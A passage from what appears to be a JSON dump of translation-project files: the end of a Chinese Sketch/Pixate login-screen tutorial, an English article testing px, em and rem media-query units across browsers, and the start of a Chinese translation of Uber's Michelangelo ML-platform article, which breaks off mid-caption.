是一款原型设计软件。它包含一些预设的动画以及交互，同时配套的手机应用可以让你在 Android 或 IOS 设备上与原型进行交互。它还有云服务，起步价是 $5 每月，这样你就能将原型共享到云端以便让客户们与同事们访问。我十分享受使用 Pixate 的过程因为它有点像在敲代码，例如在进行条件判断以及布局动画时。我们现在用的是免费版，它能通过 Wifi 共享原型到你的设备上。\n\nPixate 另一项很好的特性是你可以创建自己的 Action。你可以用 Javascript 的子集写个脚本帮忙进行重复的工作或者创建一个公共的模板。例如你可以写个 Action 代表一个按钮先向左移动 48px 后再逐渐消失，而不是每次都分两步实现。虽然至今我还没用过但它们似乎挺便利的样子。目前 ['Actions' feature](http://bit.ly/1ZMSPZK \"Beta actions feature\") 只是测试阶段。\n\n在第一部分，我先教你在 Sketch 中导入资源并使用它们创建一个登录界面，它将会在第二部分中被 Pixate 用来创建原型。在第三部分，我将给你们提供所有用于构建下一阶段原型的资源。这样能帮助我们稍微加快学习的速度同时又能学到更有意义的内容，我相信 Sketch 足够简单到让你理解。\n\n## 在构建超棒的原型前你先需要准备的东西\n\n*   Sketch - 完整版需要 $99,当然也有免费试用版\n*   Pixate - 免费但云服务功能需要每月 $5 （将会在第二三部分用到）\n*   [Assets Sticker Sheet](https://www.dropbox.com/s/6ykfx9gukoacgp0/Material%20Design%20Prototype%20Assets.sketch?dl=0 \"Assets Sticker Sheet\")\n*   Android 设备 - 你可以使用 iPhone，但 Android 设备更加合适。如果你使用 IOS 设备的话我无法保证它能正常显示（将会在第二三部分用到）\n\n本教程中使用到以下色调：\n\n*   主色 - #4CAF50\n*   主暗色 - #388E3C\n*   强调色 - #D500F9\n*   登录界面背景色 - #E8F5E9\n\n上面全部颜色都在 Sketch Assets 里，尽请使用吧！\n\n注意：我假定你在接下来的构建过程中是有一定鉴赏能力。若在下文中略过一些内容，是因为我认为按常理来说你们完全可以独自做到！本文并没有完整深入地描述，而关注于如何引导你去使用 Sketch 和 Pixate。但如果你觉得我确实遗漏了些重要的知识，请务必告知。\n\n## 那我们开始构建登录界面吧！\n\n添加邮箱以及密码文本域\n\n首先打开提供的 Sketch Assets，里面所有东西我们都可以用来构建原型。在本教程中你所有需要用来构建登录界面的资源在 Login Screen Assets `Artboard` 中都能找到。\n\n打开新的 Sketch 文件然后将其保存文件名为 “Material Design Prototype”，接着使用工具栏的 “Insert” 菜单插入一张新的 `Artboard`，然后在右侧栏中单击 “Material Design” 下拉框并选择 “Mobile Portrait”。经过这些步骤后会在你的屏幕上生成一张白色矩形。\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f41t1ndhcpj20i50ef74u.jpg)  \n\n我们先对 `Artboard` 重命名。在左侧栏中右击 “Mobile Portrait” 然后选择 \"Rename\"，重命名为 “Login Screen”。虽然这听起来很简单但你要确保为所有东西命名以避免混淆，否则在构建登录界面时很容易不知所措。\n\n然后我们开始给当前的界面添加背景色。首先在左侧栏选中 “Login Screen”，右侧栏会自动弹出，接着选中 “Background Color” 然后选择旁边的色板框，将我们的背景色即 “E8F5E9” 粘贴到 “Hex” 框中后单击确认。你看，浅绿色背景多漂亮，以前我提到过我特别喜欢绿色吧？\n\n你注意到 `Artboard` 的尺寸是 360 x 640 了没？这样可以方便导出适应不同 Android 设备的分辨率例如 hdpi 和 xxhdpi 等等。这些稍候还有介绍。\n\n接下来我们通过分别拖放 Sketch 的资源就能很容易地构建出 Material Design 原型。首先选中 “Login Screen” 然后在 Sketch Assets 中找到文本域，将其复制到我们的登录界面，并将 “Hint Text” 改为 “Email”，接着我将其移到屏幕的中间，尺寸改为 328 像素，这样它左右两边能保持 16 像素的边距，正好遵循了 [Google Material Design guidelines](http://bit.ly/23YKwj9 \"Google Material Design guidelines\") 中的布局规范。再次复制粘贴该文本域并在将其移到距离邮箱文本域下 16 像素处。Sketch 会通过红线和数字的方式提示你上面两者之间的距离。\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f41t28fkj4j20hl0cnt9c.jpg)  \n\n## 添加一个 LOGO\n\n现在我们打算将我们的 LOGO 添加到顶部，原因你也懂，品牌效应嘛...拖拽 LOGO 并放置在邮箱、密码文本域之上。\n\n我们还需要一个被禁用的按钮以便在以后的登录操作中改变它的状态。从 Sketch Assets 中复制并添加到我们的登录界面。如果以上你的操作正确，你应该能获得类似下面这张图片的界面：\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f41t2lrc8hj20hv0cxgmh.jpg)  \n\n好的，我们最终做好了登录界面！年轻人，别着急，这还只是刚刚开始，我们还需要创建一些组件填充到界面中。\n\n## 填写邮箱和密码\n\n我们需要复制输入组件并填充到邮箱文本域里。首先将其拖拽覆盖到邮箱文本域的上方，它会自动填充进去，这里要确保它们的下边沿重合。现在在左侧栏中选中邮箱文本域然后单击显示在一旁的小眼睛，邮箱文本域会被隐藏。现在你应该只能看到邮箱文本域的输入框了，这样你就可以直接在上面填写一些相关的文本。\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f41t2ynw6ej20hv0cxmy3.jpg)  \n\n接下来我们对密码文本域重复刚刚的动作。记得在复制输入组件后要在左侧栏中对其重命名。这里我使用星星代表输入的密码。\n\n现在你的界面应该像这样子：\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f41t4vfxw7j20i00d1wfm.jpg)\n\n接下来就是添加其它状态的登录按钮。这过程和上面十分类似：复制、粘贴、拖拽到组件上方并隐藏原本的组件。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f41t584f7fj20i60d5q40.jpg)\n\n## 添加状态栏\n\n我们忽略了一个小细节，那就是状态栏。若假设原型是在在全屏状态下，不显示状态栏也是可以的，那样的话可以忽略它。但我觉得添加状态栏能让你感觉自己正在使用一款真正的应用。\n\n首先从 Sketch Assets 中找到状态栏，复制并放到界面的顶部居中位置。我们最后进行这项步骤是因为我们需要确保状态栏是处于最上方，而不会被挡住。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f41t5mjphxj20k60eft9w.jpg)\n\n## 导出到 Pixate\n\n最后，我们需要导出所有 Pixate 将会用到的资源。因为到时我们想让我们的原型有些移动的效果，所以先将界面恢复到基础状态。隐藏所有我们之后添加到登录界面的东西，除了 LOGO 以及状态栏。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f41t60k3ysj20k60ef3zn.jpg)  \n\n在左侧栏中点击 “Login Screen”，这样它就能帮你选中整个 `Artboard`。此时在右下角处会出现一行文字：“Make Exportable”，点击它确保登录界面可导出，之后会弹出一个菜单。菜单十分方便，它允许你根据不同的缩放尺寸导出，当你需要适配不同规格的设备时这个功能十分有用。但现在 Android 推出了 [VectorDrawableCompat](http://bit.ly/1P3A6RH \"VectorDrawableCompat documentation\")，所以我们并不需要这功能。我们先在 “Size” 下拉框中设置属性为 3x，然后清除后缀，这是个能帮你给不同分辨率的图片设置不同的名字的小特性，例如：login_screen_mdpi、 login_screen_xxhdpi，但现在我们并不需要。最后，记住要选中 “Background Color” 下面的 “Include in Export” 选项，否则导出的文件将不会包含我们设置的背景色，我们可不想那样！单击 “Export Login Screen” 然后将其保存到合适的位置。我将其保存到 “Login Screen Assets” 文件夹中。\n\n剩下的组件也需要分别导出。从邮箱文本域开始吧。记得先让文本域可见否则导出的文件是没有任何东西的！首先在左侧栏中选中邮箱文本域，单击 “Make Exportable”，设置 “Size” 为 3x 然后清除后缀，最后就是单击 “Export email text field” 并保存到你已选中的位置。\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f41t6cn2ehj20k60ef3zv.jpg)  \n\n剩下我们还需要保存的东西：\n\n*   邮箱文本域的输入组件\n*   密码文本域\n*   密码文本域的输入组件\n*   登录按钮\n*   可用状态的登录按钮\n*   被禁用状态的登录按钮\n\n一定要记得在导出前先让它们可见哟！\n"
  },
  {
    "path": "TODO/media-query-units.md",
    "content": ">* 原文链接 : [PX, EM or REM Media Queries?](http://zellwk.com/blog/media-query-units/)\n* 原文作者 : [Zell](http://zellwk.com/contact/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : \n* 校对者:\n\n\nHave you wondered if you should use `px`, `em` or `rem` for media queries? I had the same question too, and I never figured it out, not till now.\n\nWhen I first created the [mappy-breakpoint](https://github.com/zellwk/mappy-breakpoints) library over a year ago, I used `rem` units. Then [after a conversation](https://github.com/at-import/breakpoint/issues/132) with Sam Richard, I quickly switched to `em` instead because I found out there isn’t a difference between the two.\n\nIn addition to `em` and `rem`, a popular unit of choice for media queries is the good old pixel. I wondered if it’s possible to use pixel queries nowadays since px-zooming problem that used to exist was now resolved by all browsers.\n\nThis week, I finally decided to get to the bottom of this matter.\n\nBefore we begin this article, I’m assuming that you already know what `em` and `rem` units are. Check [this article](http://zellwk.com/blog/rem-vs-em/) out if you don’t.\n\n## The Base Experiment\n\nI thought of creating three separate `<div>` elements, one for `px`, one for `em` and one for `rem`. I gave each `<div>` a background color so it becomes easy to tell them apart.\n\n    .pixel { background: red; }\n    .em { background: green; }\n    .rem { background: blue; }\n\nNext, I created a `min-width` query on all three selectors since we’re comparing the media query units.\n\nWhen the query kicks in, I decided to decrease the opacity of the element so I can see the difference immediately. Here’s the CSS for the pixel-based media query:\n\n    .pixel {\n      background: red;  \n      @media (min-width: 400px) {\n        opacity: 0.5\n      }\n    }\n\nThe next step is to figure out how to create the `em` and `rem` units.\n\n**In this first experiment, I wanted to test if there were differences between the three units if all conditions were ideal**. In other words, none of the following scenarios has happened:\n\n1.  `font-size` changed in `<html>`\n2.  user zoomed in.\n3.  user changed their browser’s font setting.\n\nSince the conditions are ideal at this point, I can safely assume that `16px == 1em == 1rem`. `400px`, then, is equivalent to `25em` or `25rem`.\n\n    .pixel {\n      background: red;  \n      @media (min-width: 400px) {\n        opacity: 0.5\n      }\n    }\n\n    .em {\n      background: green;  \n      // 400 ÷ 16 = 25\n      @media (min-width: 25em) {\n        opacity: 0.5\n      }\n    }\n\n    .rem {\n      background: blue;  \n      // 400 ÷ 16 = 25\n      @media (min-width: 25rem) {\n        opacity: 0.5\n      }\n    }\n\n**If all three media queries behave in the same manner, we should see all of them trigger at 400px exactly.**\n\nAnd they did (on every browser I tested).\n\n![The Base Experiment](http://zellwk.com/images/2016/media-query-units/control.gif)\n\n<figcaption>The base experiment</figcaption>\n\n\nSince all three media queries kicked in at the same breakpoint, we know that **there’s no difference between `px`, `em` or `rem` queries at this stage**.\n\nAfter establishing the base experiment, the next step is to test for less ideal conditions where any of the scenarios above occurred. Once again, the scenarios are:\n\n1.  `font-size` changed in `<html>`\n2.  user zoomed in.\n3.  user changed their browser’s font setting.\n\nLet’s go through them one by one.\n\n## 1\\. Font-size Changed in HTML\n\nThe first scenario is incredibly common. In fact, almost all web pages use this method set the default `font-size` property in their CSS:\n\n  html { \n    // setting default font size \n    font-size: 200% \n  }\nHere, I chose to use a `font-size` of 200% in my test, which means that I’m setting both `1em` and `1rem` as `32px`. **If `em` and `rem` are affected by this change in `font-size`, they should only trigger at `800px`**\n\nHere’s the result: Chrome, Firefox and IE 11 triggered all three media queries at 400px:\n\n![Results from Chrome, Firefox and Internet Explorer 11 for scenario 1](http://zellwk.com/images/2016/media-query-units/chrome.gif)\n\n<figcaption>Results from Chrome, Firefox and Internet Explorer 11</figcaption>\n\n\nThis is the correct behavior. **`em` and `rem` units should not be affected by changes in `font-size` in the HTML** since they’re based on the browser’s internal `font-size` property.\n\nUnfortunately, we didn’t get the perfect behavior on Safari. It triggered the `rem` media query at 800px :(\n\n![Results from Safari for scenario 1](http://zellwk.com/images/2016/media-query-units/safari-200.gif)\n\n<figcaption>Results from Safari</figcaption>\n\nSince this behavior only occurs on Safari, I was curious to see if mobile Safari was affected as well. Turns out, it did.\n\n**So, the first scenario already showed us that we shouldn’t use `rem` media queries.** However, let’s continue to put rem in the rest of our experiments to see if anything else comes up.\n\n## 2\\. User Zooms In\n\nThe second scenario is common as well. If the text on your page isn’t large enough, **users may choose to use the zoom function built into their browser to enlarge the text.**\n\nA quick note here: The original idea behind `em` based sizes was due to older browsers not being able to update pixel values when a user zooms. In this regard, testing the difference between media query units when a user zooms will help to answer the question on whether we can use `px` based media queries now.\n\n![User zooms in](http://zellwk.com/images/2016/media-query-units/zoom.gif)\n\n<figcaption>User zooms in</figcaption>\n\nThe results from this experiment is that Chrome, Firefox and IE showed the same behavior. `px` unit queries fired at the same time as `em` and `rem` queries.\n\n![Results from Chrome, Firefox and Internet Explorer 11 in scenario 2](http://zellwk.com/images/2016/media-query-units/chrome-zoom.gif)\n\n<figcaption>Results from Chrome, Firefox and Internet Explorer 11</figcaption>\n\nAnd you guessed it… Safari didn’t :(\n\n![Results from Safari in scenario 2](http://zellwk.com/images/2016/media-query-units/safari-zoom.gif)\n\n<figcaption>Results from Safari</figcaption>\n\n**Unfortunately, this means that pixel based media queries are out of the question**. Safari doesn’t support them properly (unless you decide to forsake Safari?).\n\nOnce again, move on to our final experiment to see if anything unexpected comes up still.\n\n## 3\\. User Changed Their Browser’s Font Setting.\n\n**Many developers like to believe that [users don’t change their browser’s `font-size`](http://nicolas-hoizey.com/2016/03/people-don-t-change-the-default-16px-font-size-in-their-browser.html) since it’s hidden deeeep inside the settings.**\n\nWell, it’ll be awesome if all users exhibit this behavior because we don’t have to do this experiment! :)\n\nUnfortunately, there’s no data to proof that users don’t change their browser’s `font-size`s, so **it’s still our duty as developers to bake the flexibility into our websites.**\n\nIn this experiment, I enlarged the default `font-size` of the four browsers I tested with in the following way (incase you wanted to follow along):\n\n*   **Chrome:** Go to `settings`, `show advanced settings`, `web-content`.\n*   **Firefox:** Go to `preferences`, `content`, `fonts and colors`.\n*   **Internet Explorer:** Click on `page`, then `text-size`\n\nThe only browser I couldn’t figure out where to set the font-size was **Safari**. So I used a proxy instead. I change the settings such that the smallest font-size is larger than 16px. To do so, go to `preferences`, `advanced`, `acessibility`.\n\n**This was the only test that all browsers behaved in the same way:**\n\n![Results from all browsers for scenario 3](http://zellwk.com/images/2016/media-query-units/chrome-very-large-font-size.gif)\n\n<figcaption>Results from all browsers for scenario 3</figcaption>\n\nAs you can see, the pixel queries triggered earlier than `em` or `rem` queries.\n\nThere aren’t any bugs here. This is the correct implementation since px are absolute units. The breakpoint should remain at 400px no matter what the user set’s their default `font-size` to.\n\n`em` and `rem`, on the other hand, is based on the `font-size` of the browser. Hence, their media queries should get updated when the user changes their default `font-size` setting.\n\nSo.. **I’m sorry to break your bubble, pixel fans, but it’s a no-go for pixel based queries**. 😱😱😱\n\n## Concluding The Experiments\n\nAs you can see from our tests above, **the only unit that performed consistently across all four browsers is `em`**. There aren’t any differences between `em` and `rem` with the exception of bugs found on Safari.\n\n`px` media queries performed well in two of the three experiments (with the exception of Safari, again). Unfortunately, `px` media queries remained at `400px` in the third experiment, which makes it a no-go if you intend to support users who change their browser’s `font-size` value.\n\nHence, my conclusion after these experiments is: **Use `em` media queries**.\n\nIf you’re using a library that doesn’t do `em` media queries, point the developer to this article so they know the implications of their code. Otherwise, feel free to switch to a `em` based library like [Mappy-breakpoints](https://github.com/zellwk/mappy-breakpoints), [Breakpoint-sass](http://breakpoint-sass.com) or [sass-mq](https://github.com/sass-mq/sass-mq).\n"
  },
  {
    "path": "TODO/meet-michelangelo-ubers-mechine-learning-plantform.md",
    "content": "\n> * 原文地址：[MEET MICHELANGELO: UBER’S MACHINE LEARNING PLATFORM](https://eng.uber.com/michelangelo/)\n> * 原文作者：[JEREMY HERMANN & MIKE DEL BALSO](https://eng.uber.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/meet-michelangelo-ubers-mechine-learning-plantform.md](https://github.com/xitu/gold-miner/blob/master/TODO/meet-michelangelo-ubers-mechine-learning-plantform.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[TobiasLee](https://github.com/TobiasLee), [xfffrank](https://github.com/xfffrank)\n\n# Uber 机器学习平台 — 米开朗基罗\n\nUber 工程师们一直致力于开发各种新技术，以让客户得到有效、无缝的用户体验。现在，他们正在加大对人工智能、机器学习领域的投入来实现这个愿景。在 Uber，工程师们开发出了一个名为“米开朗基罗”（Michelangelo）的机器学习平台，它是一个内部的“MLaaS”（机器学习即服务）平台，用以降低机器学习开发的门槛，并能根据不同的商业需求对 AI 进行拓展与缩放，就有如客户使用 Uber 打车一样方便。\n\n米开朗基罗平台可以让公司内部团队无缝构建、部署与运行 Uber 规模的机器学习解决方案。它旨在覆盖全部的端到端机器学习工作流，包括：数据管理、训练模型、评估模型、部署模型、进行预测、预测监控。此系统不仅支持传统的机器学习模型，还支持时间序列预测以及深度学习。\n\n米开朗基罗在 Uber 投产约一年时间，已经成为了 Uber 工程师、数据科学家真正意义上的“平台”，现在有数十个团队在此平台上构建、部署模型。实际上，米开朗基罗平台现在部署于多个 Uber 数据中心并使用专用硬件，用于为公司内最高负载的在线服务提供预测功能。\n\n本文将介绍米开朗基罗以及其产品用例，并简单通过这个强大的 MLaaS 系统介绍整个机器学习工作流。\n\n## 米开朗基罗背后的动机\n\n在米开朗基罗平台出现前，Uber 的工程师和数据科学家们在构建、部署一些公司需要，并且能根据实际操作进行规模拓展的机器学习模型时，遇到了很多挑战。那时他们试图使用各种各样的工具来创建预测模型（如 R 语言、[scikit-learn](http://scikit-learn.org/stable/)、自定义算法等），此时工程团队会构建一些一次性的系统以使用这些模型进行预测。因此，在 Uber 内能够在短时间内使用各种开源工具构建出框架的数据科学家与工程师少之又少，限制了机器学习在公司内的应用。\n\n具体来说，那时没有建立一个可靠、统一、pipeline 可复用的系统用于创建、管理、训练、预测规模化数据。因此在那时，不会有人做出数据科学家的台式机跑不了的模型，也没有一个规范的结果存储方式，要将几个实验结果进行对比也是相当困难的事情。更重要的是，那时没有一种将模型部署到生产环境的确定方法。因此，大多数情况下都是相关的工程团队不得不为手中的项目开发定制的服务容器。这时，他们注意到了这些迹象符合由 Scully 等人记录的[机器学习的反模式](https://papers.nips.cc/paper/5656-hidden-technical-debt-in-machine-learning-systems.pdf)一文的描述。\n\n米开朗基罗旨在将整个团队的工作流程和工具标准化，通过端对端系统让整个公司的用户都能轻松构建、运行大型机器学习系统。但是工程师们的目标不仅限于解决这些直观的问题，更是要创立一个能与业务共同发展的体系。\n\n当工程师们于 2015 年年中开始构建米开朗基罗系统时，他们也开始解决一些规模化模型训练以及一些将模型部署于生产环境容器的问题。接着，他们专注于构建能够更好进行管理、共享特征 pipeline 的系统。而最近，他们的重心转移到了开发者生产效率 — 如何加速从想法到产品模型的实现以及接下来的快速迭代。\n\n下一节将通过一个样例来介绍如何使用米开朗基罗构建、部署一个模型，用于解决 Uber 的某种特定问题。虽然下面重点讲的是 [UberEATS](https://www.ubereats.com/) 中的具体用例，但是这个平台也管理着公司里其他针对多种预测用例的类似模型。\n\n## 用例：UberEATS 送餐到家时间预估模型\n\nUberEATS 在米开朗基罗中有数个模型在运行，包括送餐到达时间预测、搜索排行、搜索自动完成、餐厅排行等。送餐到达时间预测模型能够预测准备膳食、送餐以及送餐过程中的各个阶段所需的时间。\n\n![](https://eng.uber.com/wp-content/uploads/2017/09/image4-768x516.png)\n\n图 1：UberEATS app 提供了估测外卖送达时间的功能，此功能由基于米开朗基罗构建的机器学习模型驱动。\n\n预测外卖的送达时间（ETD）并不是一件简单的事情。当 UberEATS 用户下单时，订单将被送到餐厅进行处理。餐厅需要确认订单，根据订单的复杂度以及餐厅的繁忙程度准备餐品，这一步自然要花费一些时间。在餐品快要准备完毕的时候，Uber 外卖员出发去取餐。接着，外卖员需要开车到达餐厅、找到停车场、进餐厅取餐、回到车里、开车前往客户家（这个步骤耗时取决于路线、交通等因素）、找到车位、走到客户家门口，最终完成交货。UberEATS 的目标就是预测这个复杂的多阶段过程的总时间，并在各个步骤重新计算 ETD。\n\n在米开朗基罗平台上，UberEATS 数据科学家们使用了 GBDT（梯度提升决策树）回归模型来预测这种端到端的送达时间。此模型使用的特征包括请求信息（例如时间、送餐地点）、历史特征（例如餐厅在过去 7 天中的平均餐食准备时间）、以及近似实时特征（例如最近一小时的平均餐食准备时间）。此模型部署于 Uber 数据中心的米开朗基罗平台提供的容器中，通过 UberEATS 微服务提供网络调用。预测结果将在餐食准备及送达前展示给客户。\n\n## 系统架构\n\n米开朗基罗系统由一些开源系统和内置组件组成。主要使用的开源组件有 [HDFS](http://hadoop.apache.org/)、[Spark](https://spark.apache.org/)、[Samza](http://samza.apache.org/)、[Cassandra](http://cassandra.apache.org/)、[MLLib](https://spark.apache.org/mllib/)、[XGBoost](https://github.com/dmlc/xgboost)、[TensorFlow](https://www.tensorflow.org/)。在条件允许的前提下，开发团队更倾向于使用一些成熟的开源系统，并会进行 fork、定制化，如果有需求的话也会对其进行贡献。如果找不到合适的开源解决方案，他们也会自己构建一些系统。\n\n米开朗基罗系统建立与 Uber 的数据及计算基础设施之上，它们提供了一个“数据湖”，其中包含了 Uber 所有的事务和日志数据。由 Kafka 对 Uber 的所有服务日志进行采集汇总，使用 Cassandra 集群管理的 Samza 流计算引擎以及 Uber 内部服务进行计算与部署。\n\n在下一节中将以 UberEATS 的 ETD 模型为例，简单介绍系统的各个层次，说明米开朗基罗的技术细节。\n\n## 机器学习工作流\n\n在 Uber，大多数的机器学习用例（包括一些正在做的工作，例如分类、回归以及时间序列预测等）都有着一套同样的工作流程。这种工作流程可以与具体实现分离，因此很容易进行拓展以支持新的算法和框架（例如最新的深度学习框架）。它还适用于各种不同预测用例的部署模式（如在线部署与离线部署，在车辆中使用与在手机中使用）。\n\n米开朗基罗专门设计提供可拓展、可靠、可重用、易用的自动化工具，用于解决下面 6 步工作流：\n\n1. 管理数据\n2. 训练模型\n3. 评估模型\n4. 部署模型\n5. 预测结果\n6. 预测监控\n\n下面将详细介绍米开朗基罗的架构是如何促进工作流中的各个步骤的。\n\n## 管理数据\n\n找出良好的特征经常是机器学习最难的部分，工程师们也发现整个机器学习解决方案中最费时费力的部分就是构建及管理数据管道。\n\n因此，平台应提供一套标准工具以构建数据管道，生成特征，对数据集进行标记（用于训练及再训练），以及提供无标记特征数据用以预测，这些工具需要与公司的数据湖、数据中心以及公司的在线数据服务系统进行深度的整合。构建出来的数据管道必须具有可缩放性以及足够的性能，能够监控数据流以及数据质量，为各种在线/离线训练与预测都提供全面的支持。这些工具还应该能通过团队共享的方式生成特征，以减少重复工作并提高数据质量。此外，这些工具应当提供强有力的保护措施，鼓励用户去采用最好的方式使用工具（例如，保证在训练时和预测时都采用同一批次生成的数据）。\n\n米开朗基罗的数据管理组件分为在线管道和离线管道。目前，离线管道主要用于为批量模型训练以及批量预测作业提供数据；在线管道主要为在线、低时延预测作业提供数据（以及之后会为在线学习系统提供支持）。\n\n此外，工程师们还为数据管理层新加了一个特征存储系统，可以让各个团队共享、发现高质量的数据特征以解决他们的机器学习问题。工程师们发现，Uber 的许多模型都是用了类似或相同的特征，而在不同组织的团队以及团队里的不同项目中共享特征是一件很有价值的事情。\n\n![](http://eng.uber.com/wp-content/uploads/2017/09/image5.png)\n\n图 2：数据预处理管道将数据存入特征库以及训练数据仓库中。\n\n### 离线部署\n\nUber 的事务与日志数据会“流入”一个 HDFS 数据湖中，可以使用 Spark 和 Hive SQL 的计算作业轻松调用这些数据。平台提供了容器与计划任务两种方式运行常规作业，用于计算项目内部的私有特征或将其发布至特征存储库（见后文）与其他团队共享。当计划任务运行批量作业或通过别的方式触发批量作业时，作业将被整合传入数据质量监控工具，此工具能够快速回溯找出问题出在 pipeine 中的位置，判明是本地代码的问题还是上游代码的问题导致的数据错误。\n\n### 在线部署\n\n在线部署的模型将无法访问 HDFS 存储的数据，因此，一些需要在 Uber 生产服务的支撑数据库中读取的特征很难直接用于这种在线模型（例如，无法直接查询 UberEATS 的订单服务去计算某餐厅某特定时间段平均膳食准备时间）。因此，工程师们将在线模型需要的特征预计算并存储在 Cassandra 中，线上模型可以低延迟读取这些数据。\n\n在线部署支持两种计算系统：批量预计算与近实时计算，详情如下：\n\n- **批量预计算**。这个系统会定期进行大批量计算，并将 HDFS 中的特征历史记录加载进 Cassandra 数据库中。这样做虽然很简单粗暴，但是如果需要的特征对实时性要求不高（比如允许隔几小时更新一次），那么效果还是很好的。这个系统还能保证在批处理管道中用于训练和服务的数据是同批次的。UberEATS 就采用了这个系统处理一部分特征，如“餐厅过去七天的膳食平均准备时间”。\n- **近实时计算**。这个系统会将相关指标发布至 Kafka 系统，接着运行 Samza 流计算作业以低时延生成所有特征。接着这些特征将直接存入 Cassandra 数据库用于提供服务，并同时备份至 HDFS 用于之后的训练作业。和批量预计算系统一样，这样做同样能保证提供服务和进行训练的数据为同一批次。为了避免这个系统的冷启动，工程师们还专门为这个系统制作了一个工具，用于“回填”数据与基于历史记录运行批处理生成训练数据。UberEATS 就使用了这种近实时计算 pipeline 来得到如“餐厅过去一小时的膳食平均准备时间”之类的特征。\n\n### 共享特征库\n\n工程师们发现建立一个集中的特征库是很有用的，这样 Uber 的各个团队可以使用其他团队创建和管理的可靠的特征，且特征可以被分享。从大方向上看，它做到了以下两件事情：\n\n1. 它可以让用户轻松地将自己构建的特征存入共享特征库中（只需要增加少许元数据，如添加者、描述、SLA 等），另外它也能让一些特定项目使用的特征以私有形式存储。\n2. 只要特征存入了特征库，那之后再用它就十分简单了。无论是在线模型还是离线模型，都只要简单地在模型配置中写上特征的名称就行了。系统将会从 HDFS 取出正确的数据，进行处理后返回相应的特征集既可以用于模型训练，也可以用于批量预测或者从 Cassandra 取值做在线预测。\n\n目前，Uber 的特征库中有大约 10000 个特征用于加速机器学习工程的构建，公司的各个团队还在不断向其中增加新的特征。特征库中的特征每天都会进行自动计算与更新。\n\n未来，工程师们打算构建自动化系统，以进行特征库搜索并找出解决给定预测问题的最有用的特征。\n\n**用于特征选择及转换的领域特定语言（DSL）。**\n\n由数据 pipeline 生成的特征与客户端服务传来的特征经常不符合模型需要的数据格式，而且这些数据时常会缺失一些值，需要对其进行填充；有时候，模型可能只需要传入的特征的一个子集；还有的时候，将传入的时间戳转换为 小时/天 或者 天/周 会在模型中起到更好的效果；另外，还可能需要对特征值进行归一化（例如减去平均值再除以标准差）。\n\n为了解决这些问题，工程师们为建模人员创造了一种 DSL（领域特定语言），用于选择、转换、组合那些用于训练或用于预测的特征。这种 DSL 为 Scala 的子集，是一种纯函数式语言，包含了一套常用的函数集，工程师们还为这种 DSL 增加了自定义函数的功能。这些函数能够从正确的地方取出特征（离线模型从数据 pipeline 取特征值，在线模型从客户请求取特征值，或是直接从特征库中取出特征）。\n\n此外，DSL 表达式是模型配置的一部分，在训练时取特征的 DSL 与在与测试时用的 DSL 需要保持一致，以确保任何时候传入模型的特征集的一致性。\n\n### 训练模型\n\n目前平台支持离线、大规模分布式训练，包括决策树、线性模型、逻辑模型、无监督模型（[k-means](https://en.wikipedia.org/wiki/K-means_clustering)）、时间序列模型以及深度神经网络。工程师们将定期根据用户的需求增加一些由 Uber [AI 实验室](https://www.uber.com/info/ailabs/)新开发的模型。此外，用户也可以自己提供模型类型，包括自定义训练、评价以及提供服务的代码。分布式模型训练系统可以规模化处理数十亿的样本数据，也可以处理一些小数据集进行快速迭代。\n\n一个模型的配置包括模型类型、超参、数据源、特征 DSL，以及计算资源需求（需要的机器数量、内存用量、是否使用 GPU 等）。这些信息将用于配置运行在 [YARN](https://yarnpkg.com/) 或 [Mesos](https://yarnpkg.com/) 集群上的训练作业。\n\n在模型训练完毕之后，系统会将其计算得到的性能指标（例如 ROC 曲线和 PR 曲线）进行组合，得到一个模型评价报告。在训练结束时，系统会将原始配置、学习到的参数以及评价包括存回模型库，用于分析与部署。\n\n除了训练单个模型之外，米开朗基罗系统还支持对分块模型等各种模型进行超参搜索。以分块模型为例，以分块模型为例，系统会根据用户配置自动对训练数据进行分块，对每个分块训练一个模型；在有需要的时候再将各个分块模型合并到父模型中（例如，先对每个城市数据进行训练，如果无法得到准确的市级模型时再将其合并为国家级模型）。\n\n训练作业可以通过 Web UI 或者 API 进行配置与管理（通常使用 [Jupyter notebook](http://jupyter.org/)）。大多数团队都使用 API 以及流程管理工具来对他们的模型进行定期重训练。\n\n![](http://eng.uber.com/wp-content/uploads/2017/09/image2.png)\n\n图 3：模型训练作业使用特征库与数据训练仓库中的数据集来训练模型，接着将模型存入模型库中。\n\n### 评估模型\n\n训练模型可以看成是一种寻找最佳特征、算法、超参以针对问题建立最佳模型的探索过程。在得到用例的理想模型前，训练数百种模型而一无所获也是常有的事。虽然这些失败的模型最终不能用于生产，但它们可以指导工程师们更好地进行模型配置，从而获得更好的性能。追踪这些训练过的模型（例如谁、何时训练了它们，用了什么数据集、什么超参等），对它们的性能进行评估、互相对比，可以为平台带来更多的价值与机会。不过要处理如此之多的模型，也是一个极大的挑战。\n\n米开朗基罗平台中训练的每个模型都需要将以下信息作为版本对象存储在 Cassandra 的模型库中：\n\n- 谁训练的模型。\n- 训练模型的开始时间与结束时间。\n- 模型的全部配置（包括用了什么特征、超参的设置等）。\n- 引用训练集和测试集。\n- 描述每个特征的重要性。\n- 模型准确性评价方法。\n- 模型每个类型的标准评价表或图（例如 ROC 曲线图、PR 曲线图，以及二分类的混淆矩阵等）。\n- 模型所有学习到的参数。\n- 模型可视化摘要统计。\n\n用户可以通过 Web UI 或者使用 API 轻松获取这些数据，用以检查单个模型的详细情况或者对多个模型进行比较。\n\n### 模型准确率报告\n\n回归模型的准确率报告会展示标准的准确率指标与图表；分类模型的准确率报告则会展示不同的分类集合，如图 4 图 5 所示：\n\n![](https://eng.uber.com/wp-content/uploads/2017/09/image9-768x295.png)\n\n图 4：回归模型的报告展示了与回归相关的性能指标。\n\n![](https://eng.uber.com/wp-content/uploads/2017/09/image10-768x505.png)\n\n图 